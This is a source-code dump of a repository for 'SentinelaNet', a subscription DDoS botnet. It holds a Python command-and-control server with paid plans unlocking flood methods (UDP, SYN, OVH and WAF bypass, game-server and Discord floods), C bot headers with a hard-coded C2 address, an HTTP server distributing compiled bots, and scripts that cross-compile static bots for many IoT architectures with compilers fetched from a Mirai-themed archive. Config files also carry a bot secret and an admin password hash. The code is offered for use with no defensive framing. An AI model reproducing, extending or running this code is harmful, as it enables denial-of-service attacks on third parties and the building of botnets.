├── src ├── utils │ ├── __init__.py │ ├── network.py │ ├── validators.py │ ├── session_manager.py │ ├── security.py │ ├── ui.py │ ├── bot_manager.py │ ├── attack_manager.py │ └── command_handler.py ├── blacklist │ ├── blacklist.json │ └── blacklist.py ├── config │ ├── config.json │ └── config.py ├── database │ ├── database.json │ └── database.py ├── plans │ ├── plans.json │ └── plans.py ├── methods │ ├── methods.py │ └── methods.json └── commands │ ├── commands.json │ └── commands.py ├── requirements.txt ├── .gitignore ├── payload ├── server.py ├── bot │ ├── attacks.h │ ├── config.h │ ├── bot.c │ └── attacks.c ├── build_all.sh ├── update_bot_config.py └── download_compilers.py ├── Makefile ├── README.md └── main.py /src/utils/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | colorama==0.4.6 2 | bcrypt==4.1.2 -------------------------------------------------------------------------------- /src/blacklist/blacklist.json: -------------------------------------------------------------------------------- 1 | { 2 | "blacklist": [ 3 | "192.168.0.100", 4 | "203.0.113.45", 5 | "10.0.0.1" 6 | ] 7 | } -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Node 2 | node_modules/ 3 | npm-debug.log* 4 | yarn.lock 5 | 6 | # Python 7 | __pycache__/ 8 | *.pyc 9 | .venv/ 10 | venv/ 11 | 12 | # Builds 13 | dist/ 14 | build/ 15 | .vs/ 16 | 17 | # Logs 18 | *.log 19 | 20 | # Env 21 | .env 22 | .env.* 23 | 24 | # OS 25 | .DS_Store 26 | Thumbs.db -------------------------------------------------------------------------------- /src/config/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "server": { 3 | "name": "SentinelaNet", 4 | "host": "0.0.0.0", 5 | "port": 1337 6 | }, 7 | "global_limits": { 8 | "max_attacks": 200, 9 | "max_time": 1300, 10 | "min_time": 10, 11 | "threads": 10 12 | }, 13 | "bot_secret": "kZPUbHYdNYRDXBjbR4SeWvUfvD5Sc90wMrC8XGa2Z54=" 14 | } -------------------------------------------------------------------------------- /src/database/database.json: -------------------------------------------------------------------------------- 1 | { 2 | "users": [ 3 | { 4 | "username": "sirkeira", 5 | "password": "$2b$12$ierY6hvXGcy14CUUpuLUEe96PKSVNJWAVwKF1Dk8xJlBgVxPSQgxG", 6 | "role": "admin", 7 | "plan": "vip", 8 | "attacks_made": 1, 9 | "joined_at": "19/05/2025", 10 | "expires_at": "29/05/2028" 11 | } 12 | ] 13 | } -------------------------------------------------------------------------------- /src/plans/plans.json: -------------------------------------------------------------------------------- 1 | { 2 | "plans": { 3 | "NoPlan": { 4 | "allowed_methods": [] 5 | }, 6 | "basic": { 7 | "allowed_methods": ["UDP", "TCP"] 8 | }, 9 | "premium": { 10 | "allowed_methods": ["UDP", "TCP", "MIX", "SYN", "VSE", "FIVEM"] 11 | }, 12 | "vip": { 13 | "allowed_methods": ["UDP", "TCP", "MIX", "SYN", "OVHUDP", "OVHTCP", "VSE", "DISCORD", "FIVEM"] 14 | } 15 | } 16 | } -------------------------------------------------------------------------------- /src/methods/methods.py: -------------------------------------------------------------------------------- 1 | import os, json 2 | 3 | METHODS_PATH = os.path.join(os.path.dirname(__file__), 'methods.json') 4 | 5 | def load_methods(): 6 | with open(METHODS_PATH, 'r') as f: 7 | data = json.load(f) 8 | return data.get("methods", {}) 9 | 10 | def botnetMethodsName(method): 11 | methods = load_methods() 12 | if method == 'ALL': 13 | return methods 14 | return methods.get(method, "") 15 | 16 | def isBotnetMethod(method): 17 | methods = load_methods() 18 | return method in methods 19 | 20 | -------------------------------------------------------------------------------- /payload/server.py: -------------------------------------------------------------------------------- 1 | import http.server 2 | import socketserver 3 | import os 4 | 5 | PORT = 8080 6 | 7 | FOLDER = os.path.dirname(os.path.abspath(__file__)) 8 | SERVE_DIR = os.path.join(FOLDER, 'compiled-bots') 9 | os.chdir(SERVE_DIR) 10 | 11 | class Handler(http.server.SimpleHTTPRequestHandler): 12 | def setup(self): 13 | super().setup() 14 | self.request.settimeout(60) 15 | 16 | print(f"[+] Started server on http://0.0.0.0:{PORT}") 17 | print(f"[+] files on: {SERVE_DIR}") 18 | 19 | with socketserver.TCPServer(("", PORT), Handler) as httpd: 20 | httpd.serve_forever() 21 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -Wall -O2 -pthread 3 | LIBS = -lssl -lcrypto 4 | TARGET = payload/bot/bot 5 | SRCDIR = payload/bot 6 | SOURCES = $(SRCDIR)/bot.c $(SRCDIR)/attacks.c 7 | OBJECTS = $(SRCDIR)/bot.o $(SRCDIR)/attacks.o 8 | HEADERS = $(SRCDIR)/config.h $(SRCDIR)/attacks.h 9 | 10 | all: update_config $(TARGET) 11 | 12 | update_config: 13 | python3 payload/update_bot_config.py 14 | 15 | $(TARGET): $(OBJECTS) 16 | $(CC) $(CFLAGS) -o $(TARGET) $(OBJECTS) $(LIBS) 17 | 18 | $(SRCDIR)/%.o: $(SRCDIR)/%.c $(HEADERS) 19 | $(CC) $(CFLAGS) -c $< -o $@ 20 | 21 | clean: 22 | rm -f $(OBJECTS) $(TARGET) 23 | 24 | run: $(TARGET) 25 | cd $(SRCDIR) && ./bot 26 | 27 | .PHONY: all clean run -------------------------------------------------------------------------------- /src/methods/methods.json: -------------------------------------------------------------------------------- 1 | { 2 | "methods": { 3 | ".UDP": "Sends UDP packets of varying sizes to overwhelm the target", 4 | ".TCP": "Continuously sends TCP packets to exhaust the target's connections", 5 | ".SYN": "Sends SYN requests to exhaust pending TCP connections", 6 | ".MIX": "Alternates between TCP and UDP to bypass defenses", 7 | ".VSE": "Send Valve Source Engine Protocol", 8 | ".FIVEM": "Sends a specialized Payload designed to Fivem", 9 | ".OVHUDP": "Floods the target port with UDP datagrams containing random payloads", 10 | ".OVHTCP": "Randomizes bytes (0x00 to 0xFF) and line terminators to bypass WAFs", 11 | ".DISCORD": "Sends a specialized UDP packet designed to Discord" 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /payload/bot/attacks.h: -------------------------------------------------------------------------------- 1 | #ifndef ATTACKS_H 2 | #define ATTACKS_H 3 | 4 | #include "config.h" 5 | 6 | extern unsigned char payload_vse[]; 7 | extern unsigned char payload_discord2[]; 8 | extern unsigned char payload_fivem[]; 9 | 10 | void *attack_ovh_tcp(void *arg); 11 | void *attack_ovh_udp(void *arg); 12 | void *attack_vse(void *arg); 13 | void *attack_discord2(void *arg); 14 | void *attack_fivem(void *arg); 15 | void *attack_udp_bypass(void *arg); 16 | void *attack_tcp_bypass(void *arg); 17 | void *attack_tcp_udp_bypass(void *arg); 18 | void *attack_syn(void *arg); 19 | 20 | void *(*get_attack_function(const char *method))(void *); 21 | void generate_random_data(unsigned char *buffer, int size); 22 | char **ovh_builder(const char *ip, int port, int *count); 23 | 24 | #endif -------------------------------------------------------------------------------- /payload/bot/config.h: -------------------------------------------------------------------------------- 1 | #ifndef CONFIG_H 2 | #define CONFIG_H 3 | 4 | #include 5 | #include 6 | 7 | #define C2_ADDRESS "192.168.0.106" 8 | #define C2_PORT 1337 9 | #define MAX_USERS 50 10 | #define MAX_ATTACKS_PER_USER 10 11 | #define BUFFER_SIZE 2048 12 | #define MAX_THREADS 1000 13 | 14 | #define BOT_SECRET_B64 "CHANGE_THIS_IN_CONFIG_JSON" 15 | 16 | typedef struct { 17 | pthread_t thread_id; 18 | int active; 19 | int stop; 20 | int thread_count; 21 | } attack_thread_t; 22 | 23 | typedef struct { 24 | char username[32]; 25 | attack_thread_t attacks[MAX_ATTACKS_PER_USER]; 26 | int attack_count; 27 | } user_attack_t; 28 | 29 | typedef struct { 30 | char ip[128]; 31 | int port; 32 | time_t end_time; 33 | int *stop_flag; 34 | } attack_params_t; 35 | 36 | extern user_attack_t user_attacks[MAX_USERS]; 37 | extern int user_count; 38 | extern pthread_mutex_t user_mutex; 39 | 40 | #endif -------------------------------------------------------------------------------- /src/utils/network.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import ssl 3 | import logging 4 | 5 | def safe_recv(client, max_size, default_max=1024): 6 | try: 7 | data = client.recv(min(max_size, default_max)) 8 | if len(data) > max_size: 9 | return None 10 | return data 11 | except: 12 | return None 13 | 14 | def setup_ssl_socket(sock, server_config): 15 | try: 16 | context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) 17 | cert_file = server_config.get("cert_file", None) 18 | key_file = server_config.get("key_file", None) 19 | if cert_file and key_file: 20 | import os 21 | if os.path.exists(cert_file) and os.path.exists(key_file): 22 | context.load_cert_chain(cert_file, key_file) 23 | return context.wrap_socket(sock, server_side=True) 24 | except Exception as e: 25 | logging.warning(f"SSL setup failed: {e}") 26 | return sock 27 | 28 | def create_server_socket(): 29 | sock = socket.socket() 30 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) 31 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 32 | return sock 33 | 34 | -------------------------------------------------------------------------------- /src/utils/validators.py: -------------------------------------------------------------------------------- 1 | import re 2 | import ipaddress 3 | 4 | def validate_username(username, max_len=32): 5 | if not username or len(username) > max_len: 6 | return False 7 | if not re.match(r'^[a-zA-Z0-9_-]+$', username): 8 | return False 9 | return True 10 | 11 | def validate_ip(ip): 12 | try: 13 | parts = ip.split('.') 14 | if len(parts) != 4 or not all(x.isdigit() for x in parts): 15 | return False 16 | 17 | ip_obj = ipaddress.ip_address(ip) 18 | if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_multicast: 19 | return False 20 | 21 | return True 22 | except: 23 | return False 24 | 25 | def validate_port(port, rand=False): 26 | if not port.isdigit(): 27 | return False 28 | 29 | port_num = int(port) 30 | if rand: 31 | return 0 <= port_num <= 65535 32 | else: 33 | return 1 <= port_num <= 65535 34 | 35 | def validate_time(time_str, min_time=10, max_time=1300): 36 | if not time_str.isdigit(): 37 | return False 38 | 39 | time_num = int(time_str) 40 | return min_time <= time_num <= max_time 41 | 42 | -------------------------------------------------------------------------------- /payload/build_all.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | SRC="bot.c" 4 | OUTPUT_DIR="binarios" 5 | COMPILERS_DIR="compilers_extracted" 6 | 7 | mkdir -p "$OUTPUT_DIR" 8 | 9 | # Verifica se bot.c usa pthreads 10 | USES_PTHREAD=$(grep -q "pthread_" "$SRC" && echo "yes" || echo "no") 11 | 12 | for dir in "$COMPILERS_DIR"/*; do 13 | if [[ -d "$dir" ]]; then 14 | BIN_PATH=$(find "$dir" -type f -executable -name "*-gcc" | head -n 1) 15 | 16 | if [[ -n "$BIN_PATH" ]]; then 17 | ARCH=$(basename "$dir" | sed 's/cross-compiler-//') 18 | OUTFILE="$OUTPUT_DIR/bot.$ARCH" 19 | 20 | echo "[+] Compilando para $ARCH..." 21 | 22 | if [[ "$USES_PTHREAD" == "yes" ]]; then 23 | "$BIN_PATH" -std=c99 -static -w "$SRC" -o "$OUTFILE" -lpthread -lssl -lcrypto 24 | else 25 | "$BIN_PATH" -std=c99 -static -w "$SRC" -o "$OUTFILE" -lssl -lcrypto 26 | fi 27 | 28 | if [[ $? -eq 0 ]]; then 29 | echo "[✔] Sucesso: $OUTFILE" 30 | else 31 | echo "[✘] Falha ao compilar para $ARCH" 32 | fi 33 | else 34 | echo "[!] GCC não encontrado em: $dir" 35 | fi 36 | fi 37 | done -------------------------------------------------------------------------------- /src/blacklist/blacklist.py: -------------------------------------------------------------------------------- 1 | import os, json 2 | 3 | BLACKLIST_PATH = os.path.join(os.path.dirname(__file__), 'blacklist.json') 4 | 5 | def load_blacklist(): 6 | try: 7 | with open(BLACKLIST_PATH, 'r') as f: 8 | data = json.load(f) 9 | return data.get("blacklist", []) 10 | except FileNotFoundError: 11 | return [] 12 | 13 | def save_blacklist(blacklist): 14 | with open(BLACKLIST_PATH, 'w') as f: 15 | json.dump({"blacklist": blacklist}, f, indent=2) 16 | 17 | def is_blacklisted(ip): 18 | blacklist = load_blacklist() 19 | return ip in blacklist 20 | 21 | def add_to_blacklist(ip): 22 | blacklist = load_blacklist() 23 | if ip in blacklist: 24 | return f"IP {ip} is already in the blacklist." 25 | 26 | blacklist.append(ip) 27 | save_blacklist(blacklist) 28 | return f"IP {ip} was successfully added to the blacklist." 29 | 30 | def remove_from_blacklist(ip): 31 | blacklist = load_blacklist() 32 | if ip not in blacklist: 33 | return f"IP {ip} is not in the blacklist." 34 | 35 | blacklist.remove(ip) 36 | save_blacklist(blacklist) 37 | return f"IP {ip} was successfully removed from the blacklist." -------------------------------------------------------------------------------- /src/commands/commands.json: -------------------------------------------------------------------------------- 1 | 2 | { 3 | "commands": { 4 | "HELP": { 5 | "description": "Shows list of commands", 6 | "aliases": ["?", "COMMANDS"] 7 | }, 8 | "BOTNET": { 9 | "description": "Shows list of botnet attack methods", 10 | "aliases": [] 11 | }, 12 | "BOTS": { 13 | "description": "Shows all conected bots", 14 | "aliases": ["ZOMBIES"] 15 | }, 16 | "STOP": { 17 | "description": "Stop all your floods in progress", 18 | "aliases": [] 19 | }, 20 | "CLEAR": { 21 | "description": "Clears the screen", 22 | "aliases": ["CLS"] 23 | }, 24 | "LOGOUT": { 25 | "description": "Disconnects from C&C server", 26 | "aliases": ["QUIT", "EXIT", "BYE"] 27 | }, 28 | "OWNER": { 29 | "description": "Shows owner information", 30 | "aliases": ["CREDITS"] 31 | } 32 | }, 33 | "admin_commands": { 34 | "!USER": { 35 | "description": "Add/List/Remove users", 36 | "aliases": ["?", "COMMANDS"] 37 | }, 38 | "!BLACKLIST": { 39 | "description": "Shows list of commands", 40 | "aliases": ["?", "COMMANDS"] 41 | } 42 | }, 43 | "owner": { 44 | "Instagram": "cirqueirakkjk", 45 | "Telegram": "Cirqueiraza", 46 | "Discord": "cirqueira", 47 | "GitHub": "CirqueiraDev" 48 | } 49 | } -------------------------------------------------------------------------------- /src/utils/session_manager.py: -------------------------------------------------------------------------------- 1 | import time 2 | import secrets 3 | 4 | class SessionManager: 5 | def __init__(self, sessions_dict, locks): 6 | self.sessions = sessions_dict 7 | self.locks = locks 8 | 9 | def create(self, username, address): 10 | token = secrets.token_urlsafe(32) 11 | with self.locks['sessions']: 12 | self.sessions[token] = { 13 | 'username': username, 14 | 'address': address, 15 | 'created_at': time.time(), 16 | 'last_activity': time.time() 17 | } 18 | return token 19 | 20 | def update_activity(self, token): 21 | with self.locks['sessions']: 22 | if token in self.sessions: 23 | self.sessions[token]['last_activity'] = time.time() 24 | return True 25 | return False 26 | 27 | def remove(self, token): 28 | with self.locks['sessions']: 29 | if token in self.sessions: 30 | del self.sessions[token] 31 | return True 32 | return False 33 | 34 | def cleanup_expired(self, timeout_seconds=3600): 35 | now = time.time() 36 | expired = [] 37 | with self.locks['sessions']: 38 | for token, session in self.sessions.items(): 39 | if now - session['last_activity'] > timeout_seconds: 40 | expired.append(token) 41 | for token in expired: 42 | del self.sessions[token] 43 | return len(expired) 44 | 45 | -------------------------------------------------------------------------------- /payload/update_bot_config.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import json 3 | import os 4 | import sys 5 | 6 | base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) 7 | config_path = os.path.join(base_dir, 'src', 'config', 'config.json') 8 | config_h_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'bot', 'config.h') 9 | 10 | try: 11 | with open(config_path, 'r') as f: 12 | config = json.load(f) 13 | 14 | bot_secret = config.get('bot_secret', '') 15 | 16 | if not bot_secret: 17 | print("Error: bot_secret not found in config.json") 18 | sys.exit(1) 19 | 20 | with open(config_h_path, 'r') as f: 21 | config_h_content = f.read() 22 | 23 | new_line = f'#define BOT_SECRET_B64 "{bot_secret}"\n' 24 | 25 | if 'BOT_SECRET_B64' in config_h_content: 26 | lines = config_h_content.split('\n') 27 | new_lines = [] 28 | for line in lines: 29 | if line.strip().startswith('#define BOT_SECRET_B64'): 30 | new_lines.append(new_line.rstrip()) 31 | else: 32 | new_lines.append(line) 33 | config_h_content = '\n'.join(new_lines) 34 | else: 35 | config_h_content = config_h_content.rstrip() + '\n' + new_line 36 | 37 | with open(config_h_path, 'w') as f: 38 | f.write(config_h_content) 39 | 40 | print(f"Updated {config_h_path} with bot_secret from config.json") 41 | 42 | except FileNotFoundError as e: 43 | print(f"Error: {e}") 44 | sys.exit(1) 45 | except Exception as e: 46 | print(f"Error: {e}") 47 | sys.exit(1) 48 | 49 | -------------------------------------------------------------------------------- /src/utils/security.py: -------------------------------------------------------------------------------- 1 | import re 2 | import hmac 3 | import hashlib 4 | import secrets 5 | import time 6 | from collections import defaultdict 7 | 8 | def sanitize_log(text): 9 | return re.sub(r'[\r\n\t]', '', str(text))[:200] 10 | 11 | def sanitize_command(cmd): 12 | if not cmd: 13 | return '' 14 | cmd = re.sub(r'[^\w\s.-]', '', str(cmd)) 15 | return cmd[:100] 16 | 17 | def generate_session_token(): 18 | return secrets.token_urlsafe(32) 19 | 20 | def verify_bot_auth(password, arch, bot_secret): 21 | expected = hmac.new(bot_secret, arch.encode('utf-8'), hashlib.sha256).hexdigest() 22 | return hmac.compare_digest(password, expected) 23 | 24 | class RateLimiter: 25 | def __init__(self, max_attempts=5, window_seconds=300): 26 | self.max_attempts = max_attempts 27 | self.window_seconds = window_seconds 28 | self.login_attempts = defaultdict(list) 29 | self.lock = None 30 | 31 | def set_lock(self, lock): 32 | self.lock = lock 33 | 34 | def check_rate_limit(self, address): 35 | ip = address[0] 36 | now = time.time() 37 | 38 | if self.lock: 39 | with self.lock: 40 | return self._check(ip, now) 41 | else: 42 | return self._check(ip, now) 43 | 44 | def _check(self, ip, now): 45 | self.login_attempts[ip] = [t for t in self.login_attempts[ip] if now - t < self.window_seconds] 46 | if len(self.login_attempts[ip]) >= self.max_attempts: 47 | return False 48 | self.login_attempts[ip].append(now) 49 | return True 50 | 51 | def cleanup(self): 52 | now = time.time() 53 | if self.lock: 54 | with self.lock: 55 | for ip in list(self.login_attempts.keys()): 56 | self.login_attempts[ip] = [t for t in self.login_attempts[ip] if now - t < self.window_seconds] 57 | if not self.login_attempts[ip]: 58 | del self.login_attempts[ip] 59 | 60 | -------------------------------------------------------------------------------- /src/plans/plans.py: -------------------------------------------------------------------------------- 1 | import os, json, ipaddress 2 | from datetime import datetime 3 | 4 | PLANS_PATH = os.path.join(os.path.dirname(__file__), 'plans.json') 5 | 6 | def load_plans(): 7 | try: 8 | with open(PLANS_PATH, 'r') as f: 9 | data = json.load(f) 10 | return data.get("plans", {}) 11 | except FileNotFoundError: 12 | return {} 13 | 14 | def get_plan_methods(plan_name): 15 | plans = load_plans() 16 | plan = plans.get(plan_name.lower(), plans.get("NoPlan", {})) 17 | return plan.get("allowed_methods", []) 18 | 19 | def validate_plan_for_method(plan_name, method): 20 | if method.startswith('.'): 21 | method = method[1:] 22 | 23 | allowed_methods = get_plan_methods(plan_name) 24 | return method in allowed_methods 25 | 26 | def upgrade_plan(current_plan): 27 | plan_hierarchy = ["NoPlan", "basic", "premium", "vip"] 28 | try: 29 | current_index = plan_hierarchy.index(current_plan.lower()) 30 | if current_index < len(plan_hierarchy) - 1: 31 | return plan_hierarchy[current_index + 1] 32 | except ValueError: 33 | pass 34 | 35 | return current_plan 36 | 37 | def get_plan_limitations(): 38 | plans = load_plans() 39 | plan_limits = {} 40 | 41 | for plan_name, plan_data in plans.items(): 42 | methods = plan_data.get("allowed_methods", []) 43 | plan_limits[plan_name] = { 44 | "methods_count": len(methods), 45 | "methods": methods 46 | } 47 | 48 | return plan_limits 49 | 50 | def format_plan_info(plan_name): 51 | plans = load_plans() 52 | plan = plans.get(plan_name.lower(), None) 53 | 54 | if not plan: 55 | return f"Plan '{plan_name}' not found" 56 | 57 | methods = plan.get("allowed_methods", []) 58 | 59 | result = f"Plan: {plan_name.upper()}\n" 60 | result += f"Available Methods: {len(methods)}\n" 61 | 62 | if methods: 63 | result += "Methods:\n" 64 | for method in methods: 65 | result += f" - {method}\n" 66 | else: 67 | result += "No methods available for this plan.\n" 68 | 69 | return result -------------------------------------------------------------------------------- /src/utils/ui.py: -------------------------------------------------------------------------------- 1 | ANSI_CLEAR = '\033[2J\033[H' 2 | 3 | COLORS = { 4 | "G": '\033[1;32m', 5 | "C": '\033[1;37m', 6 | "Y": '\033[1;33m', 7 | "B": '\033[1;34m', 8 | "R": '\033[1;31m', 9 | "Q": '\033[1;36m', 10 | "GRAY": '\033[90m', 11 | "RESET": '\033[0m', 12 | } 13 | 14 | def colorize_text_gradient(text): 15 | start_color = (0, 255, 0) 16 | end_color = (255, 255, 0) 17 | 18 | num_letters = len(text) 19 | if num_letters == 0: 20 | return text 21 | 22 | step_r = (end_color[0] - start_color[0]) / num_letters 23 | step_g = (end_color[1] - start_color[1]) / num_letters 24 | step_b = (end_color[2] - start_color[2]) / num_letters 25 | 26 | reset_color = "\033[0m" 27 | current_color = start_color 28 | colored_text = "" 29 | 30 | for i, letter in enumerate(text): 31 | color_code = f"\033[38;2;{int(current_color[0])};{int(current_color[1])};{int(current_color[2])}m" 32 | colored_text += f"{color_code}{letter}{reset_color}" 33 | current_color = (current_color[0] + step_r, current_color[1] + step_g, current_color[2] + step_b) 34 | 35 | return colored_text 36 | 37 | def send(socket_obj, data, escape=True, reset=True): 38 | if reset: 39 | data += COLORS["RESET"] 40 | if escape: 41 | data += '\r\n' 42 | try: 43 | socket_obj.send(data.encode('utf-8')) 44 | except: 45 | pass 46 | 47 | def format_banner_info(username, user_data, bots_count): 48 | return ( 49 | f" Username: {username} | " 50 | f"Plan: {user_data.get('plan')} | " 51 | f"Role: {user_data.get('role')} | " 52 | f"Expires in: {user_data.get('days_remaining')} days | " 53 | f"Bots: {bots_count}" 54 | ) 55 | 56 | def format_title(c2_name, username, user_data, clients_count, bots_count, attacks_count, max_attacks): 57 | from src.utils.security import sanitize_log 58 | sanitized_username = sanitize_log(username) 59 | title = f"\33]0;{c2_name} | " 60 | title += f"Username: {sanitized_username} | " 61 | title += f"Plan: {user_data.get('plan')} | " 62 | title += f"Expires: {user_data.get('expires_at')} | " 63 | title += f"Users: {clients_count} | " 64 | title += f"Bots: {bots_count} | " 65 | title += f"Running: {attacks_count}/{max_attacks}\a" 66 | return title 67 | 68 | -------------------------------------------------------------------------------- /payload/download_compilers.py: -------------------------------------------------------------------------------- 1 | import os 2 | import tarfile 3 | import subprocess 4 | 5 | FILES = [ 6 | "arc_gnu_2017.09_prebuilt_uclibc_le_arc700_linux_install.tar.gz", 7 | "cross-compiler-armv4l.tar.bz2", 8 | "cross-compiler-armv5l.tar.bz2", 9 | "cross-compiler-armv6l.tar.bz2", 10 | "cross-compiler-armv7l.tar.bz2", 11 | "cross-compiler-i486.tar.gz", 12 | "cross-compiler-i586.tar.bz2", 13 | "cross-compiler-i686.tar.bz2", 14 | "cross-compiler-m68k.tar.bz2", 15 | "cross-compiler-mips.tar.bz2", 16 | "cross-compiler-mipsel.tar.bz2", 17 | "cross-compiler-powerpc-440fp.tar.bz2", 18 | "cross-compiler-powerpc.tar.bz2", 19 | "cross-compiler-sh4.tar.bz2", 20 | "cross-compiler-sparc.tar.bz2", 21 | "cross-compiler-x86_64.tar.bz2" 22 | ] 23 | 24 | BASE_URL = "http://mirailovers.io/HELL-ARCHIVE/COMPILERS/" 25 | DOWNLOAD_DIR = "compilers" 26 | EXTRACT_DIR = "compilers_extracted" 27 | 28 | os.makedirs(DOWNLOAD_DIR, exist_ok=True) 29 | os.makedirs(EXTRACT_DIR, exist_ok=True) 30 | 31 | def download_file(filename): 32 | url = f"{BASE_URL}{filename}" 33 | output_path = os.path.join(DOWNLOAD_DIR, filename) 34 | if os.path.exists(output_path): 35 | print(f"[+] Já existe: {filename}") 36 | return output_path 37 | 38 | print(f"[i] Baixando: {filename}") 39 | cmd = ( 40 | f'wget --quiet --show-progress --progress=bar:force ' 41 | f'--referer="{BASE_URL}" ' 42 | f'--user-agent="Mozilla/5.0" ' 43 | f'-O "{output_path}" "{url}"' 44 | ) 45 | os.system(cmd) 46 | return output_path 47 | 48 | def extract_file(file_path): 49 | file_name = os.path.basename(file_path) 50 | extract_path = os.path.join(EXTRACT_DIR, file_name.replace(".tar.gz", "").replace(".tar.bz2", "")) 51 | if os.path.exists(extract_path): 52 | print(f"[+] Já extraído: {file_name}") 53 | return 54 | 55 | print(f"[i] Extraindo: {file_name}") 56 | os.makedirs(extract_path, exist_ok=True) 57 | 58 | try: 59 | mode = "r:gz" if file_name.endswith(".tar.gz") else "r:bz2" 60 | with tarfile.open(file_path, mode) as tar: 61 | tar.extractall(path=extract_path) 62 | print(f"[✓] Extraído em: {extract_path}") 63 | except Exception as e: 64 | print(f"[!] Erro ao extrair {file_name}: {e}") 65 | 66 | def main(): 67 | print(f"[i] Iniciando download e extração de {len(FILES)} arquivos...") 68 | for filename in FILES: 69 | path = download_file(filename) 70 | if path and (filename.endswith(".tar.gz") or filename.endswith(".tar.bz2")): 71 | extract_file(path) 72 | 73 | if __name__ == "__main__": 74 | main() -------------------------------------------------------------------------------- /src/config/config.py: -------------------------------------------------------------------------------- 1 | import json 2 | import os 3 | import base64 4 | import secrets 5 | import logging 6 | 7 | CONFIG_PATH = os.path.join(os.path.dirname(__file__), 'config.json') 8 | 9 | def configs(): 10 | default_config = { 11 | "server": { 12 | "name": "SentinelaC2", 13 | "host": "0.0.0.0", 14 | "port": 1337 15 | }, 16 | "global_limits": { 17 | "max_attacks": 200, 18 | "max_time": 1300, 19 | "min_time": 10, 20 | "threads": 10 21 | } 22 | } 23 | 24 | try: 25 | if not os.path.exists(CONFIG_PATH): 26 | logging.warning(f"Config file not found at {CONFIG_PATH}, creating default config") 27 | try: 28 | with open(CONFIG_PATH, 'w') as f: 29 | json.dump(default_config, f, indent=2) 30 | except Exception as e: 31 | logging.error(f"Could not create config file: {e}") 32 | return default_config 33 | 34 | with open(CONFIG_PATH, 'r', encoding='utf-8') as f: 35 | config = json.load(f) 36 | 37 | if not isinstance(config, dict): 38 | logging.error("Invalid config file format, using defaults") 39 | return default_config 40 | 41 | if 'server' not in config: 42 | config['server'] = default_config['server'] 43 | else: 44 | for key in default_config['server']: 45 | if key not in config['server']: 46 | config['server'][key] = default_config['server'][key] 47 | 48 | if 'global_limits' not in config: 49 | config['global_limits'] = default_config['global_limits'] 50 | else: 51 | for key in default_config['global_limits']: 52 | if key not in config['global_limits']: 53 | config['global_limits'][key] = default_config['global_limits'][key] 54 | 55 | if 'bot_secret' not in config: 56 | bot_secret_bytes = secrets.token_bytes(32) 57 | bot_secret_b64 = base64.b64encode(bot_secret_bytes).decode('utf-8') 58 | config['bot_secret'] = bot_secret_b64 59 | try: 60 | with open(CONFIG_PATH, 'w', encoding='utf-8') as f: 61 | json.dump(config, f, indent=2, ensure_ascii=False) 62 | logging.info("Generated and saved bot_secret to config") 63 | except Exception as e: 64 | logging.warning(f"Could not save bot_secret to config: {e}") 65 | 66 | return config 67 | except json.JSONDecodeError as e: 68 | logging.error(f"Invalid JSON in config file: {e}, using defaults") 69 | return default_config 70 | except PermissionError as e: 71 | logging.error(f"Permission denied accessing config file: {e}, using defaults") 72 | return default_config 73 | except Exception as e: 74 | logging.error(f"Error loading config: {e}, using defaults") 75 | return default_config 76 | -------------------------------------------------------------------------------- /src/utils/bot_manager.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from colorama import Fore 3 | 4 | class BotManager: 5 | def __init__(self, bots_dict, bots_by_arch, locks): 6 | self.bots = bots_dict 7 | self.bots_by_arch = bots_by_arch 8 | self.locks = locks 9 | 10 | def register(self, client, address, arch): 11 | if arch not in self.bots_by_arch: 12 | arch = 'unknown' 13 | 14 | with self.locks['bots']: 15 | for bot_addr in self.bots.values(): 16 | if bot_addr[0] == address[0]: 17 | client.close() 18 | return False 19 | 20 | self.bots[client] = address 21 | self.bots_by_arch[arch].append((client, address)) 22 | 23 | logging.info(f"Bot conectado: {address[0]} ({arch})") 24 | return True 25 | 26 | def remove(self, client): 27 | with self.locks['bots']: 28 | if client in self.bots: 29 | address = self.bots[client] 30 | arch_found = False 31 | 32 | for arch in self.bots_by_arch: 33 | for i, (bot_client, bot_addr) in enumerate(self.bots_by_arch[arch]): 34 | if bot_client == client: 35 | self.bots_by_arch[arch].pop(i) 36 | arch_found = True 37 | break 38 | if arch_found: 39 | break 40 | 41 | self.bots.pop(client) 42 | logging.info(f"Bot desconectado: {address}") 43 | return True 44 | return False 45 | 46 | def ping_all(self, send_func, safe_recv_func): 47 | dead_bots = [] 48 | with self.locks['bots']: 49 | bots_copy = list(self.bots.keys()) 50 | 51 | for bot in bots_copy: 52 | try: 53 | bot.settimeout(5) 54 | send_func(bot, 'PING', False, False) 55 | data = safe_recv_func(bot, 1024) 56 | if not data or data.decode('utf-8', errors='ignore').strip() != 'PONG': 57 | dead_bots.append(bot) 58 | except Exception: 59 | dead_bots.append(bot) 60 | 61 | for bot in dead_bots: 62 | try: 63 | bot.close() 64 | except: 65 | pass 66 | self.remove(bot) 67 | 68 | def get_count(self): 69 | with self.locks['bots']: 70 | return len(self.bots) 71 | 72 | def list_architectures(self, client, send_func): 73 | with self.locks['bots']: 74 | bots_count = len(self.bots) 75 | if bots_count == 0: 76 | send_func(client, f'{Fore.LIGHTWHITE_EX}\nNo bots :C\n') 77 | return 78 | 79 | send_func(client, f'{Fore.WHITE}Connected bots: {Fore.GREEN}{bots_count}') 80 | send_func(client, f'\n{Fore.WHITE}Bots Architectures:') 81 | 82 | for arch, bot_list in self.bots_by_arch.items(): 83 | if len(bot_list) > 0: 84 | send_func(client, f" {Fore.WHITE}{arch}: {Fore.GREEN}{len(bot_list)}") 85 | 86 | send_func(client, '') 87 | 88 | 